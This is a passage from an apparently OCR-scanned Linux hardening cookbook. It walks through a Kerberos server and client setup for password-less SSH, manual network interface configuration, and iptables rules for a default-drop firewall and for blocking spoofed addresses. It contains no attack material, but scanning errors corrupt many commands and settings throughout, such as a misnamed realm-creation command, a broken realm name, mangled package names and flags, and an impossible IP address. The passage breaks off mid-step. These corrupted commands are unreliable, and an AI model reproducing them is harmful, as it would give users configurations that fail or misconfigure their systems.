a complete directory from the client system to a defined location on the server system. For

copying directory with all its content we use the -r option with the command.

We use the same tool to copy files from the remote SSH server to the client machine.
However to do this we need to know the exact location of the file on the server.
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Like scp, we have sftp tool, which is used to copy files over ftp from server to client. SFTP
(Secure File Transfer Protocol) is better than FTP and ensures that data is transferred securely.

Lastly we use the GNOME File Explorer to graphically connect and transfer files from server to
client and vice versa.

Setting up a Kerberos server with Ubuntu

Kerberos is an authentication protocol for allowing secure authentication over untrusted
networks by using secret-key cryptography and trusted third parties.

Getting ready

To get Kerberos set up and running, we need three Linux systems (in our example, we have
used Ubuntu). They should be able to communicate with each other and they should also
have accurate system clocks.

We have given the hosthame to each system as mentioned here:

» Kerberos system: mykerberos . com
» SSH Server system: sshserver.com

» Client system: sshclient.com

After doing this, edit the /etc/hosts file in each system and add the following details:

192.168.1.1606 sshclient.com

192.168.1.101 sshserver.com
192.168.1.110 mykerberos.com

The IP address and the hostname can be different for your systems. Just make sure that after
doing these changes they can still ping with each other.

How to do it...

Now, let's see how to complete the setup of the Kerberos server and the other systems for
our example.

1. The first step is to install the Kerberos server. To do this, we will run the given
command on the mykerberos . com system:

sudo apt-get install krb5-admin-server krb5-kdc




Remote Authentication

o The output is shown in the following screenshot:

tajinder@mykerberos:~$ sudo apt-get install krb5-admin-server krbs-kdc
[sudo] password for tajinder:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
krbs-config krb5-user libgssapi-krb5-2 libgssrpc4 libkadmsclnt-mit8s
libkadm5srv-mit8 1libkdb5-6 libkrb5-3 libkrbSsupport® libverto-libeventi1
libverto1l
Suggested packages:
openbsd-inetd inet-superserver krb5-kdc-ldap krb5-doc
The following NEW packages will be installed:
krbs-admin-server krb5-config krb5-kdc krb5-user libgssrpc4
libkadm5clnt-mit8 libkadm5srv-mit8 libkdb5-6 libverto-libeventl libverto1l
The following packages will be upgraded:
libgssapi-krb5-2 1libkrb5-3 libkrb5support®
3 upgraded, 10 newly installed, ® to remove and 323 not upgraded.
Need to get 1,126 kB of archives.
After this operation, 2,047 kB of additional disk space will be used.
Do you want to continue [Y/n]?

2. During the installation process, a few details will be asked for. Enter the details as
mentioned here:

a Forthe question Default Kerberos version 5 realm,the answerin
our case is MYKERBEROS . COM:

Package configuration

{1 configuring Kerberos Authentication }

When users attempt to use Kerberos and specify a principal or user name
without specifying what administrative Kerberos realm that principal
belongs to, the system appends the default realm. The default realm may
also be used as the realm of a Kerberos service running on the local
machine. Often, the default realm is the uppercase version of the local
DNS domain.

Default Kerberos version 5 realm:
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3. Forthe next question, Kerberos servers for your realm: the answeris

mykerberos.com:

| Configuring Kerberos Authentication |
Enter the hostnames of Kerberos servers in the MYKERBEROS.COM Kerberos
realm separated by spaces.

Kerberos servers for your realm:

mykerberos.com

4. Inthe next screen, the question is Administrative server for your
realm:, and its answer is mykerberos.com

Configuring Kerberos Authentication |
Enter the hostname of the administrative (password changing) server for
the MYKERBEROS.COM Kerberos realm.

Administrative server for your Kerberos realm:

mykerberos.com
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5. Once we have answered all the questions, the installation process will be resolved.
The next step is to create a new realm. To do so, we use this command:

sudo krb5_realm

o The output is as shown in the following screenshot:

tajinder@mykerberos:~5$ sudo krb5_newrealm

[sudo] password for tajinder:

This script should be run on the master KDC/admin server to initialize
a Kerberos realm. It will ask you to type in a master key password.
This password will be used to generate a key that is stored in
Jetc/krbskdc/stash. You should try to remember this password, but it
is much more important that it be a strong password than that it be
remembered. However, if you lose the password and /etc/krbskdc/stash,
you cannot decrypt your Kerberos database.

Loading random data

Initializing database '/var/lib/krbskdc/principal' for realm 'MYKERBEROS.COM',
master key name 'K/M@MYKERBEROS.COM'

You will be prompted for the database Master Password.

It is important that you NOT FORGET this password.

Enter KDC database master key:

Re-enter KDC database master key to verify:

6. During this process, we will be asked to create a password for the Kerberos database.
We can choose any password.

7. Next, we need to edit the /etc/krb5.confand file and modify the details as shown
in the following screenshot. If any line does not already exist in the file, we also need
to enter those. Go to the 1ibdefaults section in the file and modify the value as
shown here:

[libdefaults]
default_realm = MYKERBEROS. CDMI

8. Move down to the realms section and modify the details as shown here:

[realms]
MYKERBEROS.COM = {

kdc = mykerberos.com
admin_server = mykerberos.com
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9. Next, goto domain_ realm section and enter the lines as shown here:
mykerberos.com = MYKERBEROS.COM

.mykerberos.com = MYKERBEROS.COM

o This is shown in the following screenshot:

[domain_realm]
.mit.edu = ATHENA.MIT.EDU
mit.edu = ATHENA.MIT.EDU
.media.mit.edu = MEDIA-LAB.MIT.EDU
media.mit.edu = MEDIA-LAB.MIT.EDU
.csail.mit.edu = CSAIL.MIT.EDU
csall.mit.edu = CSAIL.MIT.EDU

.whoi.edu = ATHENA.MIT.EDU

whoi.edu = ATHENA.MIT.EDU
.stanford.edu = stanford.edu
.slac.stanford.edu = SLAC.STANFORD.EDU
mykerberos.com = MYKERBEROS.COM
.mykerberos.com = MYKERBEROS.com

10. Next, we need to add principles or entries to the Kerberos database which will
represent users or services on the network. Doing so, we will use the tool kadmin.
local. The principle must be defined for every user that participates in Kerberos
authentication.

Run the tool by typing the following command:

sudo kadmin.local

This will start the kadmin.local prompt, as shown here:

tajinder@mykerberos:~$ sudo kadmin.local

Authenticating as principal root/admin@MYKERBEROS.COM with password.
kadmin.local: listprincs

K/M@MYKERBEROS . COM

kadmin/admin@MYKERBEROQS.COM

kadmin/changepw@MYKERBEROS . COM
kadmin/ec2-54-201-82-69.us-west-2.compute.amazonaws.com@MYKERBEROS . COM
krbtgt/MYKERBEROS . COM@MYKERBEROS . COM

kadmin.local:

11. To see the existing principles, we can type this command:

list princs
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12. Now to add a principle for a user, we use the addprinc command. To add the
tajinder account, we have used the command as shown here:

kadmin.local: addprinc tajinder
WARNING: no policy specified for tajinder@YKERBEROS.COM; defaulting to no polic

y
Enter password for principal "tajinder@MYKERBEROS.COM":

Re-enter password for principal "tajinder@YKERBEROS.COM":
Principal "tajinder@MYKERBEROS.COM" created.
kadmin.local:

13. To add the admin role to the account being added, the command is shown in the
following screenshot:

kadmin.local: addprinc root/admin

WARNING: no policy specified for root/admin@MYKERBEROS.COM; defaulting to no pol
icy

Enter password for principal "root/admin@MYKERBEROS.COM":

Re-enter password for principal "root/admin@MYKERBEROS.COM":

Principal "root/admin@MYKERBEROS.COM" created.

kadmin.local:

14. If we give the admin role to any user, then uncomment the * /admin line in
/etc/krb5kdc/kadm. acl file.

15. To check if the principle has been applied correctly, use the following command:

kinit

16. Once done with the setup of Kerberos system, we now move to the client system. First,
we need to install the client package for Kerberos by using the command shown in the
following screenshot:

tajinder@sshclient:~$ sudo apt-get install krb5-user
[sudo] password for tajinder:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
krb5-config libgssapi-krb5-2 libgssrpc4 libkadm5clnt-mit8 libkadm5srv-mits
1ibkdb5-6 1ibkrb5-3 1libkrbSsupport®
Suggested packages:
krb5-doc
The following NEW packages will be installed:
krb5-config krb5-user libgssrpc4 libkadm5clnt-mit8 libkadm5srv-mits
1ibkdb5-6
The following packages will be upgraded:
libgssapi-krb5-2 1libkrb5-3 libkrb5supporte
3 upgraded, 6 newly installed, © to remove and 323 not upgraded.
Need to get 834 kB of archives.
After this operation, 1,129 kB of additional disk space will be used.
Do you want to continue [Y¥/n]? I
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17. During the installation process, the same questions will be asked, which were asked
during the installation of the Kerberos server. Enter the same details here as we
entered earlier.

18. After completing installation, check if we are still able to ping mykerberos . com from
the sshclient . com system.

19. Now to get the ticket for the client machine, depending on the principle that we
created in mykerberos . com, the command to be used is shown here:

tajinder@sshclient:~$ kinit root/admin
Password for root/admin@MYKERBEROS.COM:

tajinder@sshclient:~$ i

o Ifthe command runs perfectly, it means it is working fine.

Once done with the previous command, we move to the third system which we are
using as SSH server. We need to install the SSH server and krb5-config package
on this system. To do so, we run the command as shown here:

tajinder@sshserver:~$ sudo apt-get install openssh-server krb5-config
[sudo] password for tajinder:
Reading package lists... Done
Building dependency tree
Reading state information... Done
openssh-server is already the newest version.
The following NEW packages will be installed:
krb5s-config
® upgraded, 1 newly installed, @ to remove and 326 not upgraded.
Meed to get 23.0 kB of archives.
After this operation, 98.3 kB of additional disk space will be used.
Do you want to continue [Y/n]? I

o Again, we will be asked the same questions which were asked during the
installation of the Kerberos server. Enter the same details here as previously.

20. Now edit the /etc/ssh/sshd_config file to enable the following lines:

# GSSAPI options
#GSSAPIAuthentication no

EGSSAPIcleanupCredentials yes
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21. Remove the # and also change the value to yes if it is not already. After making the
changes, restart the SSH server using the following command:

sudo service ssh restart

22. Next, we will configure Kerberos server so that it works with the SSH server. To do so,
we run the kadmin. local tool and then run the following commands:

kadmin.local: addprinc -randkey host/sshserver.com
WARNING: no policy specified for host/sshserver.com@MYKERBEROS.COM; defaulting t
o no policy

Principal "host/sshserver.com@MYKERBEROS.COM" created.
kadmin.local:

23. The above command in the image adds the principle for the SSH server. Next, we run
the command shown in the following screenshot to create the key file:

kadmin.local: ktadd -k /tmp/sshserver.com.keytab host/sshserver.com

Entry for principal host/sshserver.com with kvno 2, encryption type aes256-cts-h
mac-shal-96 added to keytab WRFILE:/tmp/sshserver.com.keytab.

Entry for principal host/sshserver.com with kvno 2, encryption type arcfour-hmac
added to keytab WRFILE:/tmp/sshserver.com.keytab.

Entry for principal host/sshserver.com with kvno 2, encryption type des3-cbc-sha
1 added to keytab WRFILE:/tmp/sshserver.com.keytab.

Entry for principal host/sshserver.com with kvno 2, encryption type des-cbc-crc
added to keytab WRFILE:/tmp/sshserver.com.keytab.

kadmin.local:

24. Now we shall copy the key file from the Kerberos server system to the SSH server
system using this command:

tajinder@mykerberos:~% sudo scp /tmp/sshserver.com.keytab tajinder@sshserver.com
:/tmp/krb5.keytab
tajinder@sshserver.com's password:

sshserver.com.keytab 100% 306 0.3KB/s 00:00
tajinder@mykerberos:~$ [

25. We have copied the file to /tmp/ directory of the SSH server system. Once the copy
completes, move the file to the /etc/ directory.

26. Now on the client system, edit the /etc/ssh/ssh_config file and modify the lines
as shown:

GSSAPIAuthentication yes

GSSAPIDelegateCredentials yes
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27. Now on the client system, get the ticket by running this command:

kinit tajinder

28. Once the above command works, try to log in into the SSH server system from the
client system using ssh:

tajinder@sshclient:;S ssh sshserver.com
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.8-15-generic 1686)

* Documentation: https://help.ubuntu.com/

New release '14.84.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Jan 5 09:23:52 2016 from mykerberos.com
tajinder@sshserver:~$ I

We should get authenticated without being asked for the password.

First, we install the required packages on the first system to create a Kerberos server. After
installation, a realm is created for server configuration. To complete the configuration, we
perform the changes as mentioned in the /etc/krb5. conf file.

Then, we add a principle to the Kerberos database to add the user account to be used.

Once this is done, we move to the next system and install the Kerberos user package to create
the client system. Then, we get a ticket from the Kerberos server system for the user account
to be used on the client.

Next, we proceed to the third system where we install the Openssh-server package to
create a SSH server. Then, we edit the configuration file of SSH to enable authentication.

We now come back to the Kerberos server system and add a principle for the SSH server. We
create a key for the SSH server and then transfer this key file from the Kerberos server to the
SSH server using the scp command.

Now if we try to log in to the SSH server system from the client system, we get logged in
without being asked for the password, as the key we generated earlier is being used for
authentication.
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In this chapter, we will discuss the following:

» Managing the TCP/IP network

v

Using Iptables to configure a firewall

v

Blocking spoofed addresses

v

Blocking incoming traffic

v

Configuring and using the TCP Wrapper

Managing the TCP/IP network

When computers are connected to each other to form a network and exchange information
and resources with each other, managing this network information becomes an important
task for a system administrator.

Getting ready

Before we start making any changes to the TCP/IP configuration, make sure to create a
backup of the Network Manager configuration file, using this command:

root@sshserver:~# cp /etc/NetworkManager /NetworkManager.conf fetc/NetworkManager
/NetworkManager.conf.bak
root@sshserver:~#

Also, create a backup of the /etc/network/interfaces file in the same way.
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How to do it...

In this section, we will take a look at how we can manually configure network settings using
the command line:

1. Before starting the manual configuration, first let's check our current IP address,
which has been assigned to the system automatically by DHCP. We can check the
details graphically by right-clicking on the Networking icon in the top-right panel
and then selecting Connection Information, as seen in the following image:

£ 13 «) 4:00AM X Tajinder ¥

Connection Information
Wired connection 1
Active Network Connections ElEmrrTea:

Wired connection 1 (default) VPN Connections

General
Interface: Ethernet (eth0)

Hardware Address: 00:0C:29:28:72: l_

v Enable Networking

Driver: pcnet32 Edit Connections...
Speed: Unknown

Security: None

IPv4

IP Address: 192.168.1.101

Broadcast Address: 192.168.1.255

Subnet Mask: 255.255.255.0

Default Route: 192.168.1.1

Primary DNS: 192.168.1.1

We can see that the current IP address of our system is 192.168.1.101.

2. Next, we check this information using the command line. We type the ifconfig
command to do this.

root@sshserver:~# ifconfig

ethe Link encap:Ethernet HWaddr 00:0c:29:28:72:d6
inet addr:192.168.1.101 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe8@::20c:29ff:fe28:72d6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:15608 Metric:1

RX packets:141738 errors:4 dropped:4 overruns:® frame:®
TX packets:61838 errors:® dropped:® overruns:® carrier:0
collisions:® txqueuelen:1008

RX bytes:36084367 (36.0 MB) TX bytes:9779618 (9.7 MB)
Interrupt:19 Base address:0x2000
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3. If we just want to check the available Ethernet devices on the system, we can run
this command:

root@sshserver:~# ifconfig -a | grep eth
] Link encap:Ethernet HWaddr 00:0c:29:28:72:d6

root@sshserver:~# [J

The preceding command will list a one-line description of all the available Ethernet
devices on the system.

4. If we want a more detailed insight into the network interface, we can use the
1shw tool.

root@sshserver:~# lshw -class network
*-network
description: Ethernet interface
product: 79¢970 [PCnet32 LANCE]
vendor: Hynix Semiconductor (Hyundai Electronics)
physical id: 1
bus info: pci@oeE0:02:01.0
logical name: ethe
version: 10
serial: 00:0c:29:28:72:d6
width: 32 bits
clock: 33MHz
capabilities: bus_master rom ethernet physical logical
configuration: broadcast=yes driver=pcnet32 driverversion=1.35 ip=192.168
.1.181 latency=64 link=yes maxlatency=255 mingnt=6 multicast=yes
resources: irq:19 ioport:2000(size=128) memory:e7b0eeee-e7boffff
root@sshserver:~#

This tool also gives detailed information about the other capabilities of
the hardware.

5. Now, we will disable Network Manager and then set the details of the IP address
manually. To disable Network Manager, edit the /etc/NetworkManager/
NetworkManager . conf file.

[main]
plugins=ifupdown,keyfile
dns=dnsmasq

no-auto-default=00:0C:29:28:72:D6,

[ifupdown]
managed=false

Change the line managed=£false to managed=true and save the file.
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6.

7.

120

Now, open the /etc/network/interfaces file in an editor of your choice. We see
that, by default, there is no information regarding the etho interface.

auto lo

iface lo inet loopback

Edit the file and add the information shown in the following screenshot. Make sure
to add the IP details according to your network settings.

auto lo
iface lo inet loopback

auto ethe
iface eth® inet static

address 192.168.
netmask 255.255.
network 192.168.
broadcast 192.168.
gateway 192.168.

When done, save the file, and then reboot the computer to disengage Network
Manager.

If we wish to create a virtual network adapter, we can add the following lines to the
/etc/network/interfaces file, as shown here:

auto ethe:e
iface eth®:® inet static

192.168.1.116
255.255.255.0
192.168.1.1

By doing this, we have added two IP addresses to the single Ethernet card. We can do
this to create multiple instances of the network card.

Once the preceding editing is complete, restart the networking service using
either of the following commands:
service network-manager restart

/etc/init.d/networking restart
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10. Next, we take a look at how to configure the appropriate name server that is to be
used if the IP address is being configured manually.

To make the changes, edit the /etc/resolv. conf file in any editor, and add
these lines:

nameserver 192.168.1.1
nameserver 192.168.1.1[]

nameserver 127.0.0.1
search com

By following the preceding steps, we will be able to configure the IP details successfully.

The TCP/IP settings on a system can be either managed automatically or manually. Depending
on the content in the /etc/NetworkManager/NetworkManager . conf file, the system will
understand whether the settings are to be managed automatically or manually.

For a manual configuration, we edit the /etc/network/interfaces file, and enter the
preceding IP details. Once this is done, we restart the networking service or completely reboot
the system to make the changes effective.

Using Iptables to configure a firewall

One of the essential steps required to secure a Linux system is to set up a good firewall.
Most Linux distributions come preinstalled with different firewall tools. Iptables is one such
default firewall in a Linux distribution. In older versions of the Linux kernel, Ipchains was the
default firewall.

Getting Ready

Since Iptables ships with the Linux distribution, no extra tool needs to be installed to use it.
However, it is recommended that when you use Iptables; do not use the root account. Instead,
use a normal account that has super-user access to run the commands efficiently.
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How to do it...

We can define different rules using Iptables. These rules are then followed by the kernel when
checking incoming and outgoing traffic packets:

1. The first thing we need to do on our system is check which version of Iptables is
installed using the command shown here:

root@sshserver:~# iptables -V
iptables v1.4.12

root@sshserver:~# I

2. Now, we will check whether any rule already exists on the system for Iptables using
the -1 option.

root@sshserver:~# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
root@sshserver:~# I

3. The preceding output can also be seen in a format that tells us about the commands
that are necessary for each policy. To do this, use the -S option, as shown here:

root@sshserver:~# iptables -5
-P INPUT ACCEPT

-P FORWARD ACCEPT

-P QUTPUT ACCEPT
root@sshserver:~#

4. Now, we will check which of the modules of Iptables are loaded by default in order to
know their proper functionality using this command:

root@sshserver:~# lsmod | grep ip_tables
18362 1 iptable_filter

Xx_tables 22178 2 iptable_filter,
root@sshserver:~# I
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5. Let's add this first in Iptables, which will make sure that all the online connections at
present will stay online even after we have made rules to block unwanted services:

iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j
ACCEPT

Here, the -A option appends a rule to the existing table. INPUT says that this rule
will be appended to the Input chain of Iptables. The next few arguments of the -m
conntrack --ctstate ESTABLISHED,RELATED command make sure that the
rule applies only to connections that are online currently. Then, -j ACCEPT tells
Iptables to accept and allow the packets that match the preceding specified criteria.

6. Now, if we check the list of rules in Iptables again, we will see that our rule has
been added.

root@sshserver:~# iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED

Chaln FORWARD (policy ACCEPT)
target prot opt source destination

Chailn OUTPUT (policy ACCEPT)
target prot opt source destination
root@sshserver:~# ]

7. Let's assume that we want to allow our SSH connection through Iptables. For this, we
add this rule:

root@sshserver:~# iptables -A INPUT -p tcp --dport 22 -j ACCEPT
root@sshserver:~# iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

ACCEPT all -- anywhere anywhere ctstate RELATED,EST
ABLISHED

ACCEPT tcp -- anywhere anywhere tcp dpt:ssh

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
root@sshserver:~# |

We have used port 22 as it is the default port for SSH. If you have changed the port
for SSH in your server, use the appropriate port from the preceding command.
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8. We also need to make sure that our server continues to function properly by letting
the services on the server communicate with each other without being blocked by
the rules of Iptables. To do this, we want to allow all the packets being sent to the
loopback interface.

We add the following rule to allow the loopback access:

iptables -I INPUT 1 -i lo -j ACCEPT

9. Here, the -1 option tells iptables to insert a new rule rather than append it. It
takes the chain and position where the new rule needs to be added. In the preceding
command, we add this rule as the first rule in the INPUT chain so that it is the first
rule that's applied.

10. Now, if we see a list of rules in Iptables using the -v option, we notice that the rule
for the 1o loopback interface is our first rule.

root@sshserver:~# iptables -L -v
Chain INPUT (policy ACCEPT 2 packets, 64 bytes)
pkts bytes target prot opt in out source destination

0 ACCEPT all -- any anywhere anywhere

2928 ACCEPT all -- any any anywhere anywhere
ctstate RELATED,ESTABLISHED

0 ACCEPT tcp -- any any anywhere anywhere
tcp dpt:ssh

Chain FORWARD (policy ACCEPT © packets, @ bytes)
pkts bytes target prot opt in out source destination

Chain OUTPUT (policy ACCEPT 1 packets, 32 bytes)
pkts bytes target prot opt in out source destination

root@sshserver:~#

11. Assuming that we have added rules for all the packets to be allowed as per our
requirements, we have to make sure that any other packet that enters the INPUT
chain should be blocked.

To do so, we will modify the INPUT chain by running this command:
iptables -A INPUT -j DROP
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root@sshserver:~# iptables -A INPUT -j DROP

root@sshserver:~# iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

ACCEPT all -- anywhere anywhere

ACCEPT all anywhere anywhere ctstate RELATED,ES
TABLISHED

ACCEPT tecp anywhere anywhere tcp dpt:ssh

DROP all anywhere anywhere

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

The code in the preceding screenshot shows that the rule to drop all packets has
been added to the bottom of the list in the INPUT chain. This makes sure that
whenever a packet comes in, the Iptables rules are checked in the order specified. If
none of the rules match for the packet, it will be dropped, thus preventing a packet
from being accepted by default.

12. Until now, whatever rules we have added in Iptables are nonpersistent. This means
that as soon as the system is restarted, all the rules in Iptables will be gone.

So, to save the rules that we have created and then automatically load them when
the server reboots, we can use the iptables-persistent package.

13. Install the package using this command:
apt-get install iptables-persistent

root@sshserver:~# apt-get install iptables-persistent
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
iptables-persistent
0 upgraded, 1 newly installed, ©® to remove and 326 not upgraded.
Need to get 8,960 B of archives.
After this operation, 58.4 kB of additional disk space will be used.
Get:1 http://in.archive.ubuntu.comf/ubuntu/ precise/universe iptables-persistent a
11 0.5.3ubuntu2 [8,960 B]
Fetched 8,960 B in 0s (11.7 kB/s)
Preconfiguring packages ...
Selecting previously unselected package iptables-persistent.
(Reading database ... 144788 files and directories currently installed.)
Unpacking iptables-persistent (from .../iptables-persistent_6.5.3ubuntu2_all.deb)

Processing triggers for ureadahead ...

Setting up iptables-persistent (0.5.3ubuntu2) ...
* Loading iptables rules...

* IPv4...

* IPv6...

root@sshserver:~# |J
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14. During the installation process, you will be asked whether you want to save the
current iptables rules and automatically load them. Select Yes or No as per
your requirements.

| configuring iptables-persistent |

Current iptables rules can be saved to the configuration file
Jetc/iptables/rules.v4. These rules will then be loaded automatically
during system startup.

Rules are only saved automatically during package installation. See the
manual page of iptables-save(8) for instructions on keeping the rules
file up-to-date.

Save current IPv4 rules?

15. Once the installation is complete, we can start the package by running this command:

root@sshserver:~# service iptables-persistent start
* Loading iptables rules...

* IPv4...

* IPv6...

root@sshserver:~# I

In the preceding example, we use Iptables in Linux to configure a firewall on our system.

First, we go through the basic options of the iptables command, and then we see how to
add different rules in iptables. We add rules to allow localhost access and outgoing active
connections. We then add a rule to allow an SSH connection.

Next, we add a rule to deny every other incoming packet that does not match the preceding
rules.

Lastly, we use the iptables-persistent package to save the rules of iptables even
after a system reboot.
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Blocking spoofed addresses

IP spoofing is a very common technique used by attackers to send malicious packets to a
computer server. This is the process of creating IP packets with a forged IP address. It is

mainly used for attacks such as Denial of Service (DoS).

Getting Ready

If we wish to block a spoofed IP address, we need to have a list of IP addresses or domain

names from where these spoofed connections have been trying to connect.

How to do it...

We will try to create a basic ruleset of iptables through which we will restrict all incoming

packets, except those that are necessary for our usage:

1. The first step is to create a rule to allow access to the loopback interface so that
services on the system can communicate properly with each other locally. The

command to do this is as follows:

iptables -A INPUT -i lo -j ACCEPT
root@sshserver:~# iptables -A INPUT -i lo -j ACCEPT
root@sshserver:~# iptables -L -v

Chain INPUT (policy ACCEPT 1 packets, 67 bytes)
pkts bytes target prot opt in out source

5] ® ACCEPT all -- 1lo EL anywhere

FORWARD (policy ACCEPT @ packets, @ bytes)
bytes target prot opt in out source

OUTPUT (policy ACCEPT 1 packets, 67 bytes)
bytes target prot opt in out source

This is necessary for the system to function properly.

destination

anywhere

destination

destination
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2.

Next, we create a rule for outbound connections that have been initiated by our system:

iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j
ACCEPT

This will accept all the outbound traffic, including responses from remote servers,
which we have try to connect to ourselves (such as any website that we visit):

root@sshserver:~# iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -
j ACCEPT

root@sshserver:~# iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

ACCEPT all -- anywhere anywhere

ACCEPT all -- anywhere anywhere ctstate RELATED,ES
TABLISHED

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
root@sshserver:~#

128

Let's create a table to be used in iptables. We will call it blocked_ip but you can
choose a name of your choice:

iptables -N blocked ip
This is the table where we will add the spoofed IP addresses that we want to block.

Now, we insert this table into the INPUT table of iptables using this command:
iptables -I INPUT 2 -j blocked ip

Note that we have used number 2 to make sure that this rule will be second from the
top in Iptables.

Next, let's add some bad IPs into the blocked ip table that we have created:
iptables -A blocked ip -s 192.168.1.115 -j DROP
We used the 192.168.1.115 IP address as an example here. You can replace it

with an IP address that you want to block. If you have more than one IP address to
block, add them one by one to iptables.




Chapter 6

6. We can see a list of rules in iptables using this command:
iptables -L

In the details shown in the following screenshot, at the bottom, you'll notice the IP
address that we are trying to block. You can specify a single IP address or a range
as per your needs.

root@sshserver:~# iptables -L
Chain INPUT (policy ACCEPT)
prot opt source destination
all -- anywhere anywhere
all -- anywhere anywhere
all -- anywhere anywhere ctstate RELATED,ES

Chain FORWARD (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain blocked_ip (1 references)
prot opt source destination
all -- 192.168.1.115 anywhere

7. After making rules in Iptables, we can edit the /etc/host . conf file as well. Open
the file in any editor of your choice. | am using nano:

nano /etc/host.conf
Now, add or edit the following lines in the file, as shown here:

orderbind, hosts

nospoof on

# The "order" line is only used by old versions of the C library.
order hosts,bind

In the preceding example, the nospoof on option performs a comparison of the IP address
returned by the hostname lookup with the hostname returned by the IP address lookup. If the
comparison fails, this option generates a spoof warning.

Once done, save and close the file. This will also help to protect the system from IP spoofing.
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To block a spoofed IP address or any other IP address, we again use Iptables as it is the
default firewall, unless we don't want to use any other tool that's available for Linux.

We create rules once again to allow localhost access to the system and also to keep outbound
active connections alive. Then, we create a table in Iptables, which we use to maintain a list of
spoofed IP addresses that we want to block. We add this table to the input chain of Iptables.
Then, we can add any IP address to the table whenever required, and it will automatically

get blocked.

We also use the /etc/host . conf file to protect the system from IP spoofing.

Blocking incoming traffic

One of the most important tasks for a Linux system administrator is to control access to
network services. At times, it may be better to block all incoming traffic on the server and
only allow the required services to connect.

Getting Ready

As we will be using Iptables here as well, no extra package is needed to perform these
steps. We just need a user account with super user access. However, this account
should preferably not be a root account.

How to do it...

We will configure Iptables to deny everything except the traffic that has been initiated from
inside our system (such as web browsers that get web traffic or a download that has already
been initiated to update the package or any other software):

1. Asseen in previous examples, the first rule in Iptables will be to allow access to
localhost data. Run this command in order to allow access:

iptables -A INPUT -i lo -j ACCEPT
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root@sshserver:~# iptables -A INPUT -i lo -j ACCEPT

root@sshserver:~# iptables -L -w

Chain INPUT (policy ACCEPT 1 packets, 67 bytes)

pkts bytes target prot opt in out source destination

5} 0 ACCEPT all -- 1lo EL anywhere anywhere

Chain FORWARD (policy ACCEPT @ packets, @ bytes)
pkts bytes target prot opt in out source destination

Chain OUTPUT (policy ACCEPT 1 packets, 67 bytes)
pkts bytes target prot opt in out source destination

2. The next rule will be to accept all traffic-related to outbound connections. This also
includes responses from the remote server to which our system is connected:

iptables -A INPUT -m conntrack --ctstate RELATED, ESTABLISHED -j
ACCEPT

root@sshserver:~# iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -
j ACCEPT

root@sshserver:~# iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

ACCEPT all -- anywhere anywhere

ACCEPT all -- anywhere anywhere ctstate RELATED,ES
TABLISHED

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
root@sshserver:~#

3. Next, we will add a rule to accept Time Exceeded ICMP packets. This is important for
time-restricted connection setups:

iptables -A INPUT -p icmp -m icmp --icmp-type 11 -3j ACCEPT

4. After this, we will add a rule to accept Destination Unreachable ICMP packets
coming in from remote servers:
iptables -A INPUT -p icmp -m icmp --icmp-type 3/4 -j ACCEPT
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5. Then, add a rule to accept ping requests/responses (Echo ICMP) to keep our system's
connections alive to those web services that may require ping:

iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT

6. Once the preceding rules have been added, we check the list in Iptables by running
this command:

iptables -L

root@sshserver:~# iptables -A INPUT -p icmp -m icmp --icmp-type 11 -j ACCEPT
root@sshserver:~# iptables -A INPUT -p icmp -m icmp --icmp-type 3/4 -j ACCEPT
root@sshserver:~# iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT
root@sshserver:~# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere ctstate RELATED,ES
TABLISHED
icmp -- anywhere anywhere icmp time-exceeded
icmp -- anywhere anywhere icmp fragmentation

icmp -- anywhere ELNVILEE icmp echo-request

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
root@sshserver:~#

7. We will create a table of iptables, which will contain a list of acceptable rules
and services:

iptables -N allowed ip
We then add this table to the INPUT chain of Iptables:

iptables -A INPUT -j allowed ip
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8. Let's add a rule so that access to SSH is allowed on the system. To do so, we run
this command:

iptables -A allowed ip -p tcp --dport 22 -j ACCEPT

9. If we check the list of rules in Iptables, we get the following result:
iptable -L

root@sshserver:~# iptables -A allowed_ip -p tcp --dport 22 -j ACCEPT
root@sshserver:~# iptables -L
Chain INPUT (policy ACCEPT)

prot opt source destination

all -- anywhere anywhere

all -- anywhere anywhere ctstate RELATED,ES

icmp -- anywhere anywhere icmp time-exceeded
icmp -- anywhere anywhere icmp fragmentation

icmp -- anywhere anywhere icmp echo-request
allowed_ip all -- anywhere anywhere

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Chain allowed_ip (1 references)

target prot opt source destination

ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
root@sshserver:~# |

10. Once we have added rules to accept the traffic that we want, we will now want to
